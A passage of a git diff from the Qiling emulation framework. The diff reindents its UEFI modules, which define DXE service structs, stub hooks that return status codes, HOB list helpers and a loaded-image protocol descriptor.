EFI_CONFIGURATION_TABLE() + instance.VendorGuid = utils.str_to_guid(guid) + instance.VendorTable = table + instance.saveTo(self.ql, ptr) - if append: - self.nitems += 1 + if append: + self.nitems += 1 - def find(self, guid: str) -> Optional[int]: - ptr = self.baseptr - nitems = self.nitems - efi_guid = utils.str_to_guid(guid) + def find(self, guid: str) -> Optional[int]: + ptr = self.baseptr + nitems = self.nitems + efi_guid = utils.str_to_guid(guid) - for _ in range(nitems): - entry = EFI_CONFIGURATION_TABLE.loadFrom(self.ql, ptr) + for _ in range(nitems): + entry = EFI_CONFIGURATION_TABLE.loadFrom(self.ql, ptr) - if utils.CompareGuid(entry.VendorGuid, efi_guid): - return ptr + if utils.CompareGuid(entry.VendorGuid, efi_guid): + return ptr - ptr += EFI_CONFIGURATION_TABLE.sizeof() + ptr += EFI_CONFIGURATION_TABLE.sizeof() - return None + return None - def get_vendor_table(self, guid: str) -> Optional[int]: - ptr = self.find(guid) + def get_vendor_table(self, guid: str) -> Optional[int]: + ptr = self.find(guid) - if ptr is not None: - entry = EFI_CONFIGURATION_TABLE.loadFrom(self.ql, ptr) + if ptr is not None: + entry = EFI_CONFIGURATION_TABLE.loadFrom(self.ql, ptr) - return entry.VendorTable.value + return entry.VendorTable.value - # not found - return None + # not found + return None class DxeConfTable(UefiConfTable): - _struct_systbl = EFI_SYSTEM_TABLE - _fname_arrptr = 'ConfigurationTable' - _fname_nitems = 'NumberOfTableEntries' + _struct_systbl = EFI_SYSTEM_TABLE + _fname_arrptr = 'ConfigurationTable' + _fname_nitems = 'NumberOfTableEntries' - @property - def system_table(self) -> int: - return self.ql.loader.gST + @property + def system_table(self) -> int: + return self.ql.loader.gST class SmmConfTable(UefiConfTable): - _struct_systbl = EFI_SMM_SYSTEM_TABLE2 - _fname_arrptr = 'SmmConfigurationTable' - _fname_nitems = 'NumberOfTableEntries' + _struct_systbl = EFI_SMM_SYSTEM_TABLE2 + _fname_arrptr = 'SmmConfigurationTable' + _fname_nitems = 'NumberOfTableEntries' - @property - def system_table(self) -> int: - return self.ql.loader.gSmst + @property + def system_table(self) -> int: + return self.ql.loader.gSmst diff --git a/qiling/os/uefi/ds.py b/qiling/os/uefi/ds.py index df76615cc..ada10b1d7 100644 --- a/qiling/os/uefi/ds.py +++ b/qiling/os/uefi/ds.py @@ -13,271 +13,271 @@ from .UefiMultiPhase import * class EFI_GCD_MEMORY_TYPE(ENUM): - _members_ = [ - 'EfiGcdMemoryTypeNonExistent', - 'EfiGcdMemoryTypeReserved', - 'EfiGcdMemoryTypeSystemMemory', - 'EfiGcdMemoryTypeMemoryMappedIo', - 'EfiGcdMemoryTypePersistent', - 'EfiGcdMemoryTypePersistentMemory', - 'EfiGcdMemoryTypeMoreReliable', - 'EfiGcdMemoryTypeMaximum' - ] + _members_ = [ + 'EfiGcdMemoryTypeNonExistent', + 'EfiGcdMemoryTypeReserved', + 'EfiGcdMemoryTypeSystemMemory', + 'EfiGcdMemoryTypeMemoryMappedIo', + 'EfiGcdMemoryTypePersistent', + 'EfiGcdMemoryTypePersistentMemory', + 'EfiGcdMemoryTypeMoreReliable', + 'EfiGcdMemoryTypeMaximum' + ] class EFI_GCD_MEMORY_SPACE_DESCRIPTOR(STRUCT): - _pack_ = 8 + _pack_ = 8 - _fields_ = [ - ('BaseAddress', EFI_PHYSICAL_ADDRESS), - ('Length', UINT64), - ('Capabilities', UINT64), - ('Attributes', UINT64), - ('GcdMemoryType', EFI_GCD_MEMORY_TYPE), - ('ImageHandle', EFI_HANDLE), - ('DeviceHandle', EFI_HANDLE) - ] + _fields_ = [ + ('BaseAddress', EFI_PHYSICAL_ADDRESS), + ('Length', UINT64), + ('Capabilities', UINT64), + ('Attributes', UINT64), + ('GcdMemoryType', EFI_GCD_MEMORY_TYPE), + ('ImageHandle', EFI_HANDLE), + ('DeviceHandle', EFI_HANDLE) + ] class EFI_GCD_IO_TYPE(ENUM): - _members_ = [ - 'EfiGcdIoTypeNonExistent', - 'EfiGcdIoTypeReserved', - 'EfiGcdIoTypeIo', - 'EfiGcdIoTypeMaximum' - ] + _members_ = [ + 'EfiGcdIoTypeNonExistent', + 'EfiGcdIoTypeReserved', + 'EfiGcdIoTypeIo', + 'EfiGcdIoTypeMaximum' + ] class EFI_GCD_IO_SPACE_DESCRIPTOR(STRUCT): - _pack_ = 8 + _pack_ = 8 - _fields_ = [ - ('BaseAddress', EFI_PHYSICAL_ADDRESS), - ('Length', UINT64), - ('GcdIoType', EFI_GCD_IO_TYPE), - ('ImageHandle', EFI_HANDLE), - ('DeviceHandle', EFI_HANDLE) - ] + _fields_ = [ + ('BaseAddress', EFI_PHYSICAL_ADDRESS), + ('Length', UINT64), + ('GcdIoType', EFI_GCD_IO_TYPE), + ('ImageHandle', EFI_HANDLE), + ('DeviceHandle', EFI_HANDLE) + ] class EFI_GCD_ALLOCATE_TYPE(ENUM): - _members_ = [ - 'EfiGcdAllocateAnySearchBottomUp', - 'EfiGcdAllocateMaxAddressSearchBottomUp', - 'EfiGcdAllocateAddress', - 'EfiGcdAllocateAnySearchTopDown', - 'EfiGcdAllocateMaxAddressSearchTopDown', - 'EfiGcdMaxAllocateType' - ] + _members_ = [ + 'EfiGcdAllocateAnySearchBottomUp', + 'EfiGcdAllocateMaxAddressSearchBottomUp', + 'EfiGcdAllocateAddress', + 'EfiGcdAllocateAnySearchTopDown', + 'EfiGcdAllocateMaxAddressSearchTopDown', + 'EfiGcdMaxAllocateType' + ] -EFI_ADD_MEMORY_SPACE = FUNCPTR(EFI_STATUS, EFI_GCD_MEMORY_TYPE, EFI_PHYSICAL_ADDRESS, UINT64, UINT64) -EFI_ALLOCATE_MEMORY_SPACE = FUNCPTR(EFI_STATUS, EFI_GCD_ALLOCATE_TYPE, EFI_GCD_MEMORY_TYPE, UINTN, UINT64, PTR(EFI_PHYSICAL_ADDRESS), EFI_HANDLE, EFI_HANDLE) -EFI_FREE_MEMORY_SPACE = FUNCPTR(EFI_STATUS, EFI_PHYSICAL_ADDRESS, UINT64) -EFI_REMOVE_MEMORY_SPACE = FUNCPTR(EFI_STATUS, EFI_PHYSICAL_ADDRESS, UINT64) -EFI_GET_MEMORY_SPACE_DESCRIPTOR = FUNCPTR(EFI_STATUS, EFI_PHYSICAL_ADDRESS, PTR(EFI_GCD_MEMORY_SPACE_DESCRIPTOR)) -EFI_SET_MEMORY_SPACE_ATTRIBUTES = FUNCPTR(EFI_STATUS, EFI_PHYSICAL_ADDRESS, UINT64, UINT64) -EFI_GET_MEMORY_SPACE_MAP = FUNCPTR(EFI_STATUS, PTR(UINTN), PTR(PTR(EFI_GCD_MEMORY_SPACE_DESCRIPTOR))) -EFI_ADD_IO_SPACE = FUNCPTR(EFI_STATUS, EFI_GCD_IO_TYPE, EFI_PHYSICAL_ADDRESS, UINT64) -EFI_ALLOCATE_IO_SPACE = FUNCPTR(EFI_STATUS, EFI_GCD_ALLOCATE_TYPE, EFI_GCD_IO_TYPE, UINTN, UINT64, PTR(EFI_PHYSICAL_ADDRESS), EFI_HANDLE, EFI_HANDLE) -EFI_FREE_IO_SPACE = FUNCPTR(EFI_STATUS, EFI_PHYSICAL_ADDRESS, UINT64) -EFI_REMOVE_IO_SPACE = FUNCPTR(EFI_STATUS, EFI_PHYSICAL_ADDRESS, UINT64) -EFI_GET_IO_SPACE_DESCRIPTOR = FUNCPTR(EFI_STATUS, EFI_PHYSICAL_ADDRESS, PTR(EFI_GCD_IO_SPACE_DESCRIPTOR)) -EFI_GET_IO_SPACE_MAP = FUNCPTR(EFI_STATUS, PTR(UINTN), PTR(PTR(EFI_GCD_IO_SPACE_DESCRIPTOR))) -EFI_DISPATCH = FUNCPTR(EFI_STATUS) -EFI_SCHEDULE = FUNCPTR(EFI_STATUS, EFI_HANDLE, PTR(EFI_GUID)) -EFI_TRUST = FUNCPTR(EFI_STATUS, EFI_HANDLE, PTR(EFI_GUID)) -EFI_PROCESS_FIRMWARE_VOLUME = FUNCPTR(EFI_STATUS, PTR(VOID), UINTN, PTR(EFI_HANDLE)) -EFI_SET_MEMORY_SPACE_CAPABILITIES = FUNCPTR(EFI_STATUS, EFI_PHYSICAL_ADDRESS, UINT64, UINT64) +EFI_ADD_MEMORY_SPACE = FUNCPTR(EFI_STATUS, EFI_GCD_MEMORY_TYPE, EFI_PHYSICAL_ADDRESS, UINT64, UINT64) +EFI_ALLOCATE_MEMORY_SPACE = FUNCPTR(EFI_STATUS, EFI_GCD_ALLOCATE_TYPE, EFI_GCD_MEMORY_TYPE, UINTN, UINT64, PTR(EFI_PHYSICAL_ADDRESS), EFI_HANDLE, EFI_HANDLE) +EFI_FREE_MEMORY_SPACE = FUNCPTR(EFI_STATUS, EFI_PHYSICAL_ADDRESS, UINT64) +EFI_REMOVE_MEMORY_SPACE = FUNCPTR(EFI_STATUS, EFI_PHYSICAL_ADDRESS, UINT64) +EFI_GET_MEMORY_SPACE_DESCRIPTOR = FUNCPTR(EFI_STATUS, EFI_PHYSICAL_ADDRESS, PTR(EFI_GCD_MEMORY_SPACE_DESCRIPTOR)) +EFI_SET_MEMORY_SPACE_ATTRIBUTES = FUNCPTR(EFI_STATUS, EFI_PHYSICAL_ADDRESS, UINT64, UINT64) +EFI_GET_MEMORY_SPACE_MAP = FUNCPTR(EFI_STATUS, PTR(UINTN), PTR(PTR(EFI_GCD_MEMORY_SPACE_DESCRIPTOR))) +EFI_ADD_IO_SPACE = FUNCPTR(EFI_STATUS, EFI_GCD_IO_TYPE, EFI_PHYSICAL_ADDRESS, UINT64) +EFI_ALLOCATE_IO_SPACE = FUNCPTR(EFI_STATUS, EFI_GCD_ALLOCATE_TYPE, EFI_GCD_IO_TYPE, UINTN, UINT64, PTR(EFI_PHYSICAL_ADDRESS), EFI_HANDLE, EFI_HANDLE) +EFI_FREE_IO_SPACE = FUNCPTR(EFI_STATUS, EFI_PHYSICAL_ADDRESS, UINT64) +EFI_REMOVE_IO_SPACE = FUNCPTR(EFI_STATUS, EFI_PHYSICAL_ADDRESS, UINT64) +EFI_GET_IO_SPACE_DESCRIPTOR = FUNCPTR(EFI_STATUS, EFI_PHYSICAL_ADDRESS, PTR(EFI_GCD_IO_SPACE_DESCRIPTOR)) +EFI_GET_IO_SPACE_MAP = FUNCPTR(EFI_STATUS, PTR(UINTN), PTR(PTR(EFI_GCD_IO_SPACE_DESCRIPTOR))) +EFI_DISPATCH = FUNCPTR(EFI_STATUS) +EFI_SCHEDULE = FUNCPTR(EFI_STATUS, EFI_HANDLE, PTR(EFI_GUID)) +EFI_TRUST = FUNCPTR(EFI_STATUS, EFI_HANDLE, PTR(EFI_GUID)) +EFI_PROCESS_FIRMWARE_VOLUME = FUNCPTR(EFI_STATUS, PTR(VOID), UINTN, PTR(EFI_HANDLE)) +EFI_SET_MEMORY_SPACE_CAPABILITIES = FUNCPTR(EFI_STATUS, EFI_PHYSICAL_ADDRESS, UINT64, UINT64) class EFI_DXE_SERVICES(STRUCT): - _fields_ = [ - ('Hdr', EFI_TABLE_HEADER), - ('AddMemorySpace', EFI_ADD_MEMORY_SPACE), - ('AllocateMemorySpace', EFI_ALLOCATE_MEMORY_SPACE), - ('FreeMemorySpace', EFI_FREE_MEMORY_SPACE), - ('RemoveMemorySpace', EFI_REMOVE_MEMORY_SPACE), - ('GetMemorySpaceDescriptor', EFI_GET_MEMORY_SPACE_DESCRIPTOR), - ('SetMemorySpaceAttributes', EFI_SET_MEMORY_SPACE_ATTRIBUTES), - ('GetMemorySpaceMap', EFI_GET_MEMORY_SPACE_MAP), - ('AddIoSpace', EFI_ADD_IO_SPACE), - ('AllocateIoSpace', EFI_ALLOCATE_IO_SPACE), - ('FreeIoSpace', EFI_FREE_IO_SPACE), - ('RemoveIoSpace', EFI_REMOVE_IO_SPACE), - ('GetIoSpaceDescriptor', EFI_GET_IO_SPACE_DESCRIPTOR), - ('GetIoSpaceMap', EFI_GET_IO_SPACE_MAP), - ('Dispatch', EFI_DISPATCH), - ('Schedule', EFI_SCHEDULE), - ('Trust', EFI_TRUST), - ('ProcessFirmwareVolume', EFI_PROCESS_FIRMWARE_VOLUME), - ('SetMemorySpaceCapabilities', EFI_SET_MEMORY_SPACE_CAPABILITIES) - ] + _fields_ = [ + ('Hdr', EFI_TABLE_HEADER), + ('AddMemorySpace', EFI_ADD_MEMORY_SPACE), + ('AllocateMemorySpace', EFI_ALLOCATE_MEMORY_SPACE), + ('FreeMemorySpace', EFI_FREE_MEMORY_SPACE), + ('RemoveMemorySpace', EFI_REMOVE_MEMORY_SPACE), + ('GetMemorySpaceDescriptor', EFI_GET_MEMORY_SPACE_DESCRIPTOR), + ('SetMemorySpaceAttributes', EFI_SET_MEMORY_SPACE_ATTRIBUTES), + ('GetMemorySpaceMap', EFI_GET_MEMORY_SPACE_MAP), + ('AddIoSpace', EFI_ADD_IO_SPACE), + ('AllocateIoSpace', EFI_ALLOCATE_IO_SPACE), + ('FreeIoSpace', EFI_FREE_IO_SPACE), + ('RemoveIoSpace', EFI_REMOVE_IO_SPACE), + ('GetIoSpaceDescriptor', EFI_GET_IO_SPACE_DESCRIPTOR), + ('GetIoSpaceMap', EFI_GET_IO_SPACE_MAP), + ('Dispatch', EFI_DISPATCH), + ('Schedule', EFI_SCHEDULE), + ('Trust', EFI_TRUST), + ('ProcessFirmwareVolume', EFI_PROCESS_FIRMWARE_VOLUME), + ('SetMemorySpaceCapabilities', EFI_SET_MEMORY_SPACE_CAPABILITIES) + ] @dxeapi(params={ - "a0": ULONGLONG, - "a1": ULONGLONG, - "a2": ULONGLONG, - "a3": ULONGLONG, + "a0": ULONGLONG, + "a1": ULONGLONG, + "a2": ULONGLONG, + "a3": ULONGLONG, }) def hook_AddMemorySpace(ctx, address, params): - return EFI_OUT_OF_RESOURCES + return EFI_OUT_OF_RESOURCES @dxeapi(params={ - "a0": ULONGLONG, - "a1": ULONGLONG, - "a2": ULONGLONG, - "a3": ULONGLONG, - "a4": POINTER, #POINTER_T(ctypes.c_uint64) - "a5": POINTER, #POINTER_T(None) - "a6": POINTER, #POINTER_T(None) + "a0": ULONGLONG, + "a1": ULONGLONG, + "a2": ULONGLONG, + "a3": ULONGLONG, + "a4": POINTER, #POINTER_T(ctypes.c_uint64) + "a5": POINTER, #POINTER_T(None) + "a6": POINTER, #POINTER_T(None) }) def hook_AllocateMemorySpace(ctx, address, params): - return EFI_OUT_OF_RESOURCES + return EFI_OUT_OF_RESOURCES @dxeapi(params={ - "a0": ULONGLONG, - "a1": ULONGLONG, + "a0": ULONGLONG, + "a1": ULONGLONG, }) def hook_FreeMemorySpace(ctx, address, params): - return EFI_SUCCESS + return EFI_SUCCESS @dxeapi(params={ - "a0": ULONGLONG, - "a1": ULONGLONG, + "a0": ULONGLONG, + "a1": ULONGLONG, }) def hook_RemoveMemorySpace(ctx, address, params): - return EFI_SUCCESS + return EFI_SUCCESS @dxeapi(params={ - "a0": ULONGLONG, - "a1": POINTER, #POINTER_T(struct_EFI_GCD_MEMORY_SPACE_DESCRIPTOR) + "a0": ULONGLONG, + "a1": POINTER, #POINTER_T(struct_EFI_GCD_MEMORY_SPACE_DESCRIPTOR) }) def hook_GetMemorySpaceDescriptor(ctx, address, params): - return EFI_UNSUPPORTED + return EFI_UNSUPPORTED @dxeapi(params={ - "a0": ULONGLONG, - "a1": ULONGLONG, - "a2": ULONGLONG, + "a0": ULONGLONG, + "a1": ULONGLONG, + "a2": ULONGLONG, }) def hook_SetMemorySpaceAttributes(ctx, address, params): - return EFI_UNSUPPORTED + return EFI_UNSUPPORTED @dxeapi(params={ - "a0": POINTER, #POINTER_T(ctypes.c_uint64) - "a1": POINTER, #POINTER_T(POINTER_T(struct_EFI_GCD_MEMORY_SPACE_DESCRIPTOR)) + "a0": POINTER, #POINTER_T(ctypes.c_uint64) + "a1": POINTER, #POINTER_T(POINTER_T(struct_EFI_GCD_MEMORY_SPACE_DESCRIPTOR)) }) def hook_GetMemorySpaceMap(ctx, address, params): - return EFI_UNSUPPORTED + return EFI_UNSUPPORTED @dxeapi(params={ - "a0": ULONGLONG, - "a1": ULONGLONG, - "a2": ULONGLONG, + "a0": ULONGLONG, + "a1": ULONGLONG, + "a2": ULONGLONG, }) def hook_AddIoSpace(ctx, address, params): - return EFI_OUT_OF_RESOURCES + return EFI_OUT_OF_RESOURCES @dxeapi(params={ - "a0": ULONGLONG, - "a1": ULONGLONG, - "a2": ULONGLONG, - "a3": ULONGLONG, - "a4": POINTER, #POINTER_T(ctypes.c_uint64) - "a5": POINTER, #POINTER_T(None) - "a6": POINTER, #POINTER_T(None) + "a0": ULONGLONG, + "a1": ULONGLONG, + "a2": ULONGLONG, + "a3": ULONGLONG, + "a4": POINTER, #POINTER_T(ctypes.c_uint64) + "a5": POINTER, #POINTER_T(None) + "a6": POINTER, #POINTER_T(None) }) def hook_AllocateIoSpace(ctx, address, params): - return EFI_OUT_OF_RESOURCES + return EFI_OUT_OF_RESOURCES @dxeapi(params={ - "a0": ULONGLONG, - "a1": ULONGLONG, + "a0": ULONGLONG, + "a1": ULONGLONG, }) def hook_FreeIoSpace(ctx, address, params): - return EFI_SUCCESS + return EFI_SUCCESS @dxeapi(params={ - "a0": ULONGLONG, - "a1": ULONGLONG, + "a0": ULONGLONG, + "a1": ULONGLONG, }) def hook_RemoveIoSpace(ctx, address, params): - return EFI_SUCCESS + return EFI_SUCCESS @dxeapi(params={ - "a0": ULONGLONG, - "a1": POINTER, #POINTER_T(struct_EFI_GCD_IO_SPACE_DESCRIPTOR) + "a0": ULONGLONG, + "a1": POINTER, #POINTER_T(struct_EFI_GCD_IO_SPACE_DESCRIPTOR) }) def hook_GetIoSpaceDescriptor(ctx, address, params): - return EFI_NOT_FOUND + return EFI_NOT_FOUND @dxeapi(params={ - "a0": POINTER, #POINTER_T(ctypes.c_uint64) - "a1": POINTER, #POINTER_T(POINTER_T(struct_EFI_GCD_IO_SPACE_DESCRIPTOR)) + "a0": POINTER, #POINTER_T(ctypes.c_uint64) + "a1": POINTER, #POINTER_T(POINTER_T(struct_EFI_GCD_IO_SPACE_DESCRIPTOR)) }) def hook_GetIoSpaceMap(ctx, address, params): - return EFI_OUT_OF_RESOURCES + return EFI_OUT_OF_RESOURCES @dxeapi(params={ }) def hook_Dispatch(ctx, address, params): - return EFI_SUCCESS + return EFI_SUCCESS @dxeapi(params={ - "a0": POINTER, #POINTER_T(None) - "a1": GUID, + "a0": POINTER, #POINTER_T(None) + "a1": GUID, }) def hook_Schedule(ctx, address, params): - return EFI_SUCCESS + return EFI_SUCCESS @dxeapi(params={ - "a0": POINTER, #POINTER_T(None) - "a1": GUID, + "a0": POINTER, #POINTER_T(None) + "a1": GUID, }) def hook_Trust(ctx, address, params): - return EFI_NOT_FOUND + return EFI_NOT_FOUND @dxeapi(params={ - "a0": POINTER, #POINTER_T(None) - "a1": ULONGLONG, - "a2": POINTER, #POINTER_T(POINTER_T(None)) + "a0": POINTER, #POINTER_T(None) + "a1": ULONGLONG, + "a2": POINTER, #POINTER_T(POINTER_T(None)) }) def hook_ProcessFirmwareVolume(ctx, address, params): - return EFI_OUT_OF_RESOURCES + return EFI_OUT_OF_RESOURCES @dxeapi(params={ - "a0": ULONGLONG, - "a1": ULONGLONG, - "a2": ULONGLONG, + "a0": ULONGLONG, + "a1": ULONGLONG, + "a2": ULONGLONG, }) def hook_SetMemorySpaceCapabilities(ctx, address, params): - return EFI_UNSUPPORTED + return EFI_UNSUPPORTED def initialize(ql: Qiling, gDS: int): - descriptor = { - 'struct' : EFI_DXE_SERVICES, - 'fields' : ( - ('Hdr', None), - ('AddMemorySpace', hook_AddMemorySpace), - ('AllocateMemorySpace', hook_AllocateMemorySpace), - ('FreeMemorySpace', hook_FreeMemorySpace), - ('RemoveMemorySpace', hook_RemoveMemorySpace), - ('GetMemorySpaceDescriptor', hook_GetMemorySpaceDescriptor), - ('SetMemorySpaceAttributes', hook_SetMemorySpaceAttributes), - ('GetMemorySpaceMap', hook_GetMemorySpaceMap), - ('AddIoSpace', hook_AddIoSpace), - ('AllocateIoSpace', hook_AllocateIoSpace), - ('FreeIoSpace', hook_FreeIoSpace), - ('RemoveIoSpace', hook_RemoveIoSpace), - ('GetIoSpaceDescriptor', hook_GetIoSpaceDescriptor), - ('GetIoSpaceMap', hook_GetIoSpaceMap), - ('Dispatch', hook_Dispatch), - ('Schedule', hook_Schedule), - ('Trust', hook_Trust), - ('ProcessFirmwareVolume', hook_ProcessFirmwareVolume), - ('SetMemorySpaceCapabilities', hook_SetMemorySpaceCapabilities) - ) - } + descriptor = { + 'struct' : EFI_DXE_SERVICES, + 'fields' : ( + ('Hdr', None), + ('AddMemorySpace', hook_AddMemorySpace), + ('AllocateMemorySpace', hook_AllocateMemorySpace), + ('FreeMemorySpace', hook_FreeMemorySpace), + ('RemoveMemorySpace', hook_RemoveMemorySpace), + ('GetMemorySpaceDescriptor', hook_GetMemorySpaceDescriptor), + ('SetMemorySpaceAttributes', hook_SetMemorySpaceAttributes), + ('GetMemorySpaceMap', hook_GetMemorySpaceMap), + ('AddIoSpace', hook_AddIoSpace), + ('AllocateIoSpace', hook_AllocateIoSpace), + ('FreeIoSpace', hook_FreeIoSpace), + ('RemoveIoSpace', hook_RemoveIoSpace), + ('GetIoSpaceDescriptor', hook_GetIoSpaceDescriptor), + ('GetIoSpaceMap', hook_GetIoSpaceMap), + ('Dispatch', hook_Dispatch), + ('Schedule', hook_Schedule), + ('Trust', hook_Trust), + ('ProcessFirmwareVolume', hook_ProcessFirmwareVolume), + ('SetMemorySpaceCapabilities', hook_SetMemorySpaceCapabilities) + ) + } - instance = init_struct(ql, gDS, descriptor) - instance.saveTo(ql, gDS) + instance = init_struct(ql, gDS, descriptor) + instance.saveTo(ql, gDS) __all__ = [ - 'EFI_DXE_SERVICES', - 'initialize' + 'EFI_DXE_SERVICES', + 'initialize' ] diff --git a/qiling/os/uefi/hob.py b/qiling/os/uefi/hob.py index a698be34f..a1a07f0f9 100644 --- a/qiling/os/uefi/hob.py +++ b/qiling/os/uefi/hob.py @@ -8,98 +8,98 @@ from qiling.os.uefi.utils import GetEfiConfigurationTable, CompareGuid, str_to_guid from qiling.os.uefi.UefiBaseType import STRUCT, EFI_GUID, UINT32, UINT16 -EFI_HOB_TYPE_HANDOFF = 0x0001 -EFI_HOB_TYPE_GUID_EXTENSION = 0x0004 +EFI_HOB_TYPE_HANDOFF = 0x0001 +EFI_HOB_TYPE_GUID_EXTENSION = 0x0004 EFI_HOB_TYPE_END_OF_HOB_LIST = 0xffff class EFI_HOB_GENERIC_HEADER(STRUCT): - _fields_ = [ - ('HobType', UINT16), - ('HobLength', UINT16), - ('Reserved', UINT32) - ] + _fields_ = [ + ('HobType', UINT16), + ('HobLength', UINT16), + ('Reserved', UINT32) + ] class EFI_HOB_GUID_TYPE(STRUCT): - _fields_ = [ - ('Header', EFI_HOB_GENERIC_HEADER), - ('Name', EFI_GUID) - ] + _fields_ = [ + ('Header', EFI_HOB_GENERIC_HEADER), + ('Name', EFI_GUID) + ] def GetHobList(ql: Qiling, context: UefiContext) -> int: - """Get HOB list location in memory (ostensibly set by PEI). - """ + """Get HOB list location in memory (ostensibly set by PEI). + """ - hoblist_guid = ql.os.profile['HOB_LIST']['Guid'] - hoblist_vend = GetEfiConfigurationTable(context, hoblist_guid) + hoblist_guid = ql.os.profile['HOB_LIST']['Guid'] + hoblist_vend = GetEfiConfigurationTable(context, hoblist_guid) - assert hoblist_vend is not None, 'hob list guid not found' + assert hoblist_vend is not None, 'hob list guid not found' - return hoblist_vend + return hoblist_vend def CreateHob(ql: Qiling, context: UefiContext, hob) -> int: - """Add a HOB to the end of the HOB list. - """ + """Add a HOB to the end of the HOB list. + """ - hoblist = GetHobList(ql, context) + hoblist = GetHobList(ql, context) - # look for the list end marker; uefi codebase assumes there is - # always one - hoblist = GetNextHob(ql, EFI_HOB_TYPE_END_OF_HOB_LIST, hoblist) + # look for the list end marker; uefi codebase assumes there is + # always one + hoblist = GetNextHob(ql, EFI_HOB_TYPE_END_OF_HOB_LIST, hoblist) - # overwrite end marker with the hob - pHob = hoblist - hob.saveTo(ql, pHob) - hoblist += hob.sizeof() + # overwrite end marker with the hob + pHob = hoblist + hob.saveTo(ql, pHob) + hoblist += hob.sizeof() - # create a new end marker istead, following the hob - marker = EFI_HOB_GENERIC_HEADER() - marker.HobType = EFI_HOB_TYPE_END_OF_HOB_LIST - marker.HobLength = 0x0000 - marker.Reserved = 0x00000000 - marker.saveTo(ql, hoblist) + # create a new end marker istead, following the hob + marker = EFI_HOB_GENERIC_HEADER() + marker.HobType = EFI_HOB_TYPE_END_OF_HOB_LIST + marker.HobLength = 0x0000 + marker.Reserved = 0x00000000 + marker.saveTo(ql, hoblist) - # return the address the hob was written to; it might be useful - return pHob + # return the address the hob was written to; it might be useful + return pHob def GetNextHob(ql: Qiling, hobtype: int, hoblist: int) -> int: - """Get next HOB on the list. - """ + """Get next HOB on the list. + """ - hobaddr = hoblist + hobaddr = hoblist - while True: - header = EFI_HOB_GENERIC_HEADER.loadFrom(ql, hobaddr) + while True: + header = EFI_HOB_GENERIC_HEADER.loadFrom(ql, hobaddr) - # found the hob? - if header.HobType == hobtype: - break + # found the hob? + if header.HobType == hobtype: + break - # reached end of hob list? - if header.HobType == EFI_HOB_TYPE_END_OF_HOB_LIST: - return 0 + # reached end of hob list? + if header.HobType == EFI_HOB_TYPE_END_OF_HOB_LIST: + return 0 - hobaddr += header.HobLength + hobaddr += header.HobLength - return hobaddr + return hobaddr def GetNextGuidHob(ql: Qiling, guid: str, hoblist: int) -> int: - """Find next HOB with the specified GUID. - """ + """Find next HOB with the specified GUID. + """ - hobguid = str_to_guid(guid) - hobaddr = hoblist + hobguid = str_to_guid(guid) + hobaddr = hoblist - while True: - hobaddr = GetNextHob(ql, EFI_HOB_TYPE_GUID_EXTENSION, hobaddr) + while True: + hobaddr = GetNextHob(ql, EFI_HOB_TYPE_GUID_EXTENSION, hobaddr) - if not hobaddr: - return 0 + if not hobaddr: + return 0 - hob = EFI_HOB_GUID_TYPE.loadFrom(ql, hobaddr) + hob = EFI_HOB_GUID_TYPE.loadFrom(ql, hobaddr) - if CompareGuid(hob.Name, hobguid): - break + if CompareGuid(hob.Name, hobguid): + break - hobaddr += hob.Header.HobLength + hobaddr += hob.Header.HobLength - return hobaddr + return hobaddr diff --git a/qiling/os/uefi/protocols/EfiLoadedImageProtocol.py b/qiling/os/uefi/protocols/EfiLoadedImageProtocol.py index fb450c35a..f422cdf5a 100644 --- a/qiling/os/uefi/protocols/EfiLoadedImageProtocol.py +++ b/qiling/os/uefi/protocols/EfiLoadedImageProtocol.py @@ -9,47 +9,47 @@ from ..UefiMultiPhase import EFI_MEMORY_TYPE class EFI_LOADED_IMAGE_PROTOCOL(STRUCT): - _pack_ = 8 + _pack_ = 8 - _fields_ = [ - ('Revision', UINT32), - ('ParentHandle', EFI_HANDLE), - ('SystemTable', PTR(EFI_SYSTEM_TABLE)), - ('DeviceHandle', EFI_HANDLE), - ('FilePath', PTR(EFI_DEVICE_PATH_PROTOCOL)), - ('Reserved', PTR(VOID)), - ('LoadOptionsSize', UINT32), - ('LoadOptions', PTR(VOID)), - ('ImageBase', PTR(VOID)), - ('ImageSize', UINT64), - ('ImageCodeType', EFI_MEMORY_TYPE), - ('ImageDataType', EFI_MEMORY_TYPE), - ('Unload', EFI_IMAGE_UNLOAD) - ] + _fields_ = [ + ('Revision', UINT32), + ('ParentHandle', EFI_HANDLE), + ('SystemTable', PTR(EFI_SYSTEM_TABLE)), + ('DeviceHandle', EFI_HANDLE), + ('FilePath', PTR(EFI_DEVICE_PATH_PROTOCOL)), + ('Reserved', PTR(VOID)), + ('LoadOptionsSize', UINT32), + ('LoadOptions', PTR(VOID)), + ('ImageBase', PTR(VOID)), + ('ImageSize', UINT64), + ('ImageCodeType', EFI_MEMORY_TYPE), + ('ImageDataType', EFI_MEMORY_TYPE), + ('Unload', EFI_IMAGE_UNLOAD) + ] def make_descriptor(fields): - descriptor = { - "guid" : "5b1b31a1-9562-11d2-8e3f-00a0c969723b", - "struct" : EFI_LOADED_IMAGE_PROTOCOL, - "fields" : ( - ('Revision', 0x1000), - ('ParentHandle', 0), - ('SystemTable', fields['gST']), - ('DeviceHandle', fields['image_base']), - ('FilePath', 0), # This is a handle to a complex path object, skip it for now. - ('LoadOptionsSize', 0), - ('LoadOptions', 0), - ('ImageBase', fields['image_base']), - ('ImageSize', fields['image_size']), - ('ImageCodeType', EFI_MEMORY_TYPE.EfiLoaderCode), - ('ImageDataType', EFI_MEMORY_TYPE.EfiLoaderData), - ('Unload', 0) - ) - } + descriptor = { + "guid" : "5b1b31a1-9562-11d2-8e3f-00a0c969723b", + "struct" : EFI_LOADED_IMAGE_PROTOCOL, + "fields" : ( + ('Revision', 0x1000), + ('ParentHandle', 0), + ('SystemTable', fields['gST']), + ('DeviceHandle', fields['image_base']), + ('FilePath', 0), # This is a handle to a complex path object, skip it for now. + ('LoadOptionsSize', 0), + ('LoadOptions', 0), + ('ImageBase', fields['image_base']), + ('ImageSize', fields['image_size']), + ('ImageCodeType', EFI_MEMORY_TYPE.EfiLoaderCode), + ('ImageDataType', EFI_MEMORY_TYPE.EfiLoaderData), + ('Unload', 0) + ) + } - return descriptor + return descriptor __all__ = [ - 'EFI_LOADED_IMAGE_PROTOCOL', - 'make_descriptor' + 'EFI_LOADED_IMAGE_PROTOCOL', + 'make_descriptor' ] \ No newline at end of file diff --git a/qiling/os/uefi/protocols/EfiSmmAccess2Protocol.py b/qiling/os/uefi/protocols/EfiSmmAccess2Protocol.py index 405d26a05..186f4803b 100644 --- 